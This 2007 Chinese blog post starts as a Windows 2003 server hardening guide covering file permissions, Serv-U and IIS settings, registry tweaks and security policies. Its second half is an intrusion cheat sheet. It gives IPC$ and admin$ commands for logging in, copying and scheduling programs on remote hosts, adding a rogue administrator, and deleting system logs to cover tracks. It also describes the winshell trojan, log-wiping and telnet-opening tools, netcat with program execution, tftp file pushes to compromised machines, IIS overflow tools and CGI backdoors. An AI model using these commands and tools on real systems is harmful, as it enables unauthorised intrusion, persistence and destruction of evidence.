分类: WINDOWS
2007-06-23 13:51:53
windows 2003服务器的安全设置 | |
| |
1:C盘只给administrators 和system权限,其他的权限不给,
其他的盘也可以这样设置,这里给的system权限也不一定需要给, 只是由于某些第三方应用程序是以服务形式启动的,需要加上这个用户,否则造成启动不了 2:Windows目录要加上给users的默认权限,否则ASP和ASPX等应用程序就无法运行。 以前有朋友单独设置Instsrv和temp等目录权限,其实没有这个必要的 3:另外在c:/Documents and Settings/这里相当重要,后面的目录里的权限根本不会继承从前的设置, 如果仅仅只是设置了C盘给administrators权限,而在All Users/Application Data目录下会 出现everyone用户有完全控制权限,这样入侵这可以跳转到这个目录,写入脚本或只文件, 再结合其他漏洞来提升权限;譬如利用serv-u的本地溢出提升权限,或系统遗漏有补丁,数据库的弱点, 甚至社会工程学等等N多方法,从前不是有牛人发飑说:"只要给我一个webshell,我就能拿到system", 这也的确是有可能的。在用做web/ftp服务器的系统里,建议是将这些目录都设置的锁死。 其他每个盘的目录都按照这样设置,没个盘都只给adinistrators权限。 4:另外,还将:net.exe,cmd.exe,tftp.exe,netstat.exe,regedit.exe,at.exe,attrib.exe,cacls.exe, 这些文件都设置只允许administrators访问 5:把不必要的服务都禁止掉,尽管这些不一定能被攻击者利用得上,但是按照安全规则和标准上来说,多余的东西就没必要开启,减少一份隐患。 在"网络连接"里,把不需要的协议和服务都删掉,这里只安装了基本的Internet协议(TCP/IP),由于要控制带宽流量服务, 额外安装了Qos数据包计划程序。在高级tcp/ip设置里--"NetBIOS"设置"禁用tcp/IP上的NetBIOS(S)"。 在高级选项里,使用"Internet连接防火墙",这是windows 2003 自带的防火墙,在2000系统里没有的功能 ,虽然没什么功能,但可以屏蔽端口,这样已经基本达到了一个IPSec的功能 6:这里我们按照所需要的服务开放响应的端口。在2003系统里,不推荐用TCP/IP筛选里的端口过滤功能,譬如在使用FTP服务器的时候 ,如果仅仅只开放21端口,由于FTP协议的特殊性,在进行FTP传输的时候,由于FTP 特有的Port模式和Passive模式, 在进行数据传输的时候,需要动态的打开高端口,所以在使用TCP/IP过滤的情况下,经常会出现连接上后无法列出目录和数据传输的问题。 所以在2003系统上增加的windows连接防火墙能很好的解决这个问题,所以都不推荐使用网卡的TCP/IP过滤功能。 7:SERV-U FTP 服务器的设置: 一般来说,不推荐使用srev-u做ftp服务器,主要是漏洞出现的太频繁了,但是也正是因为其操作简单,功能强大,过于流行,关注的人也多,才被发掘出bug来, 换做其他的ftp服务器软件也一样不见得安全到哪儿去。 当然,这里也有款功能跟serv-u同样强大,比较安全的ftp软件:Ability FTP Server 下载地址: 设置也很简单,不过我们这里还是要迎合大众胃口,说说关于serv-u的安全设置。 首先,6.0比从前5.x版本的多了个修改本地LocalAdministrtaor的密码功能, 其实在5.x版本里可以用ultraedit-32等编辑器修改serv-u程序体进行修改密码端口,6.0修补了这个隐患,单独拿出来方便了大家 。不过修改了管理密码的serv-u是一样有安全隐患的,两个月前臭要饭的就写了新的采用本地sniff方法获取serv-u的管理密码的exploit, 正在网上火卖着,不过这种sniff的方法,同样是在获得webshell的条件后还得有个能在目录里有"执行"的权限, 并且需要管理员再次登陆运行serv-u administrator的时候才能成功。所以我们的管理员要尽量避上以上几点因素,也是可以防护的。 8:另外serv-u的几点常规安全需要设置下: 选中"Block "FTP_bounce"attack and FXP"。什么是FXP呢?通常,当使用FTP协议进行文件传输时, 客户端首先向FTP服务器发出一个"PORT"命令,该命令中包含此用户的IP地址和将被用来进行数据传输的端口号, 服务器收到后,利用命令所提供的用户地址信息建立与用户的连接。大多数情况下,上述过程不会出现任何问题, 但当客户端是一名恶意用户时,可能会通过在PORT命令中加入特定的地址信息,使FTP服务器与其它非客户端的机器建立连接。 虽然这名恶意用户可能本身无权直接访问某一特定机器,但是如果FTP服务器有权访问该机器的话,那么恶意用户 就可以通过FTP服务器作为中介,仍然能够最终实现与目标服务器的连接。这就是FXP,也称跨服务器攻击。选中后就可以防止发生此种情况 9:另外在"Block anti time-out schemes"也可以选中。其次,在"Advanced"选项卡中,检查 "Enable security"是否被选中,如果没有,选择它们。 10:IIS的安全: 删掉c:/inetpub目录,删除iis不必要的映射 11:在IIS里的站点属性里"目录安全性"---"身份验证和访问控制"里设置匿名访问使用下列Windows 用户帐户"的用户名密码都使 用 这个用户的信息.在这个站点相对应的web目录文件,默认的只给IIS用户的读取和写入权限(后面有更BT的设置要介绍)。 12:在"应用程序配置"里,我们给必要的几种脚本执行权限:ASP.ASPX,PHP, ASP,ASPX默认都提供映射支持了的,对于PHP,需要新添加响应的映射脚本,然后在web服务扩展将ASP,ASPX都设置为允许,对于php以及CGI的支持, 需要新建web服务扩展,在扩展名(X):下输入 php ,再在要求的文件(E):里添加地址 C:/php/sapi/php4isapi.dll , 并勾选设置状态为允许(S)。然后点击确定,这样IIS就支持PHP了。支持CGI同样也是如此。 13:要支持ASPX,还需要给web根目录给上users用户的默认权限,才能使ASPX能执行。 14:另外在应用程序配置里,设置调试为向客户端发送自定义的文本信息,这样能对于有ASP注入漏洞的站点,可以不反馈程序报错的信息,能够避免一定程度的攻击。 15:在自定义HTTP错误选项里,有必要定义下譬如404,500等错误,不过有有时候为了调试程序,好知道程序出错在什么地方,建议只设置404就可以了。 16:IIS6.0由于运行机制的不同,出现了应用程序池的概念。一般建议10个左右的站点共用一个应用程序池,应用程序池对于一般站点可以采用默认设置, 可以在每天凌晨的时候回收一下工作进程。 17:附件:详细见
下面我来说一下怎样关闭常见的危险端口和一些无用的共享,如:默认共享。 在本地连接-属性中,把"Microsoft网络的文件和打印机共享"卸载掉。 在选定的组件中之留下TCP/IP协议和Microsoft网络客户端.大家可能会说为什么要留Microsoft网络客户端,根据前几天的调试, 如果不装它的话,重新启动IIS的时候会提示“服务不能启动,无法验证的服务”。选中TCP/IP协议-属性-高级-WINS-禁用TCP/IP上的 Netbios选项。把HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ GraphicsDrivers\DCI,Timeout双字节值改为0。建议大家设为0.这个键值对玩游戏有用,做虚拟主机我们用不到。 把HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa项下的数值restrictanonymous,由0改为1。 在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters项下新建双字节值AutoShareServer值为0。 在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters项下新建双字节值SMBDeviceEnabled值为0。 在防火墙中添加IP规则,允许21、25、80、110。禁止135端口。最后启动禁止所有别的端口的通过。 我们也可以通过系统自带的本地安全策略和TCP/IP筛选来设置相应打开和关闭的端口。
我们还要特殊设置一个目录那就是C:\WINNT\Temp,这个目录的访问权限是everyone修改、读取及运行、列出文件夹目录、读取、写入。 把如下文件设置成只有redblood完全控制权限,取消父系继承来的权限。这些文件有:C:\winnt\sytem32文件夹和C:\ winnt\sytem32\dllcache文件夹的net.exe、net1.exe、netstat、netsh、cacls、cmd.exe、、tftp.exe、at.exe、format.com、xcopy.exe. Scripting.FileSystemObject组件: 我们可以修改对应项在注册表里面的名称和值: HKEY_CLASSES_ROOT\Scripting.FileSystemObject\ HKEY_CLASSES_ROOT\Scripting.FileSystemObject\CLSID\项目的值 WScript.Shell组件: HKEY_CLASSES_ROOT\WScript.Shell\ HKEY_CLASSES_ROOT\WScript.Shell.1\ HKEY_CLASSES_ROOT\WScript.Shell\CLSID\项目的值 HKEY_CLASSES_ROOT\WScript.Shell.1\CLSID\项目的值 Shell.Application组件: HKEY_CLASSES_ROOT\Shell.Application\ HKEY_CLASSES_ROOT\Shell.Application.1\ HKEY_CLASSES_ROOT\Shell.Application\CLSID\项目的值 HKEY_CLASSES_ROOT\Shell.Application.1\CLSID\项目的值 regsvr32 /u C:\WINNT\System32\wshom.ocx对应于WScript.Shell组件。 regsvr32/u C:\WINNT\System32\shell32.dll对应于Shell.Application组件。 禁止guests组的用户调用它: cacls C:\WINNT\system32\scrrun.dll /e /d guests cacls C:\WINNT\system32\shell32.dll /e /d guests 下面我使用注册表和组策略一起来设置系统。 开始-运行-gpeidt.msc打开组策略,计算机配置-Windows配置-安全设置-帐户策略-密码策略. 下面是我的策略设置: 密码策略 密码必须符合复杂性要求:启用 密码长度最小值:8个字符 密码最长存留期:30天 密码最短存留期:3天 强制密码历史:5个记住的密码 帐户锁定策略设置 复位帐户锁定计数器:20分钟之后 帐户销定时间:20分钟 帐户锁定阀值:5次无效登录 计算机配置-Windows配置-安全设置-本地策略,审核策略设置: 审核策略更改:成功、失败 审核登录事件:成功、失败 审核对象访问:失败 审核过程追踪:无审核 审核目录服务访问:无审核 审核特权使用:失败 审核系统事件:失败 审核帐户登录事件:成功、失败 审核帐户管理:成功、失败 计算机配置-Windows配置-安全设置-本地策略-用户权限指派 更改系统时间:administrators 关闭系统:administrators 管理审核和安全日志:administrators 计算机配置-Windows配置-安全设置-本地策略-安全选项 登录屏幕上不要显示上次登录的用户名:已启用 对匿名连接的额个限制:不允许枚举 SAM 帐号和共享 故障恢复控制台:允许对所以驱动器和文件夹进行软盘复制和访问:已启用 在关机时清理虚拟内存页面交换文件:已启用 重命名来宾帐户:我命名成administrator。 重命名系统管理员帐户:redblood 在本地用户和组中把来宾用户和系统管理员的描述互换一下,这样可以起一个迷惑的作用。算是一个很无聊的小把戏吧。我们再添加一个系统管理员帐户,这 样可以防止如果忘记了口令可以及时的恢复系统,如果骇客进入系统改了密码,我们可以很快的取得系统的控制权。大家一定要给系统管理员设置一个强壮的密码, 最少也得8位以上,由大小字母+数字组成。 通过修改系统注册表的自启动项目把一些无用的启动项删除掉,以下是常见的各启动项: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Runonce 以上这几个启动项是木马出现很频繁的地方,大家以后维护的时候多注意一些。 6.FTP服务器配置 FTP服务器除了对所在的文件夹设置权限之外,还可以修改一下Banner,这种方法可以迷惑一些骇客,让他 在表面上认为我们的FTP的服务器不是Serv-u,下面我说一下设置的方法: 右键单击托盘区的Serv-u图标,启动管理员-本地服务器-域-设置-常规-消息选项卡的服务器响应消息下,将服务器ID文本设为: "Welcome Wu-Ftpd V2.6.2 for SCO Unix." 在HELP命令回复下设置成: "Direct comments or bugs to . 我们在给FTP服务器启动的时候设上密码。这样启动Serv-u的时候 就会让我们输入密码。 这里我选用Win系统自带的远程控制软件终端服务,选择远程管理模式。为远程登录启动日志记录: 开始-程序-管理工具-终端服务配置-连接-rdp/tcp-右键-属性-权限-添加administrators组-高级-审核-添加everyone组,选择审核的项目为登录和注销。 ................. 常用的几条net命令: (与远程主机建立空管连接) net use 地址\ipc$ "" /use:"" (以管理员身份登录远程主机) net use 地址\ipc$ "密码" /use:"administrator" (传送文件到远程主机winnt目录下)copy 本机目录路径\程序 地址\admin$ (查看远程主机时间) net time 地址 (定时启动某个程序) at 地址 02:18 readme.exe (查看共享) net view 地址 (查看netbios工作组列表) nbtstat -a ip地址 (将远程主机c盘映射为自己的f盘) net use f: 地址\c$ ""/user:"administrator" (这两条把自己增加到管理员组): net user 用户名 密码 /add net localgroup administrators 用户名 /add (断开连接) net use 地址\ipc$ /delete 扫尾: del c:\winnt\system32\logfiles\*.* del c:\winnt\ssytem32\config\*.evt del c:\winnt\system32\dtclog\*.* del c:\winnt\system32\*.log del c:\winnt\system32\*.txt del c:\winnt\*.txt del c:\winnt\*.log
一、netsvc.exe 下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务: netsvc /list 地址 netsvc schedule 地址 /query netsvc 地址 schedule /start 二、opentelnet.exe 远程启动主机的telnet服务,并绑定端口到7878,例如: opentelnet 地址 用户名 密码 1 7878 然后就可以telnet到主机的7878端口,进入dos方式下: telnet ip地址 7878 三、winshell.exe 一个非常小的木马(不到6k),telnet到主机的7878端口,输入密码winshell,当看到cmd>后,可打下面的命令: p path (查看winshell主程序的路径信息) b reboot (重新启动机器) d shutdown (关闭机器) s shell (执行后你就会看到可爱的“c:\>”) x exit (退出本次登录会话,此命令并不终止winshell的运行) cmd> (通过http下载其他网站上的文件到运行winshell的机器上) 四、3389登陆器,gui方式登录远程主机的 五、elsave.exe 事件日志清除工具 elsave -s 地址 -l "application" -c elsave -s 地址 -l "system" -c elsave -s 地址 -l "security" -c 执行后成功清除应用程序日志,系统日志,安全日志 六、hbulot.exe 开启win2kserver和winxp的3389服务 hbulot [/r] 使用/r表示安装完成后自动重起目标使设置生效。 七、nc.exe(netcat.exe) 一个很好的工具,一些脚本程序都要用到它,也可做溢出后的连接用。 想要连接到某处: nc [-options] hostname port[s] [ports] ... 绑定端口等待连接: nc -l -p port [-options] [hostname] [port] 参数: -e prog 程序重定向,一旦连接,就执行 [危险!!] -g gateway source-routing hop point[s], up to 8 -g num source-routing pointer: 4, 8, 12, ... -h 帮助信息 -i secs 延时的间隔 -l 监听模式,用于入站连接 -n 指定数字的ip地址,不能用hostname -o file 记录16进制的传输 -p port 本地端口号 -r 任意指定本地及远程端口 -s addr 本地源地址 -u udp模式 -v 详细输出——用两个-v可得到更详细的内容 -w secs timeout的时间 -z 将输入输出关掉——用于扫描时 八、tftpd32.exe 把自己的电脑临时变为一台ftp服务器,让肉鸡来下载文件,tftp命令要在肉鸡上执行,通常要利用unicode漏洞或telnet到肉鸡,例如: 然后可以直接令文件运行: 九、prihack.exe是iis的printer远程缓冲区溢出工具 idqover.exe是溢出idq的,选择“溢出后在一个端口监听”,然后用telnet连接它的监听端口,如果溢出成功,一连它的端口,绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出,成功以后winxp下需要打winxp。 一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor,exe要放到cgi-bin目录下,asp放到有asp执行权限的目录。然后用ie浏览器连接。 |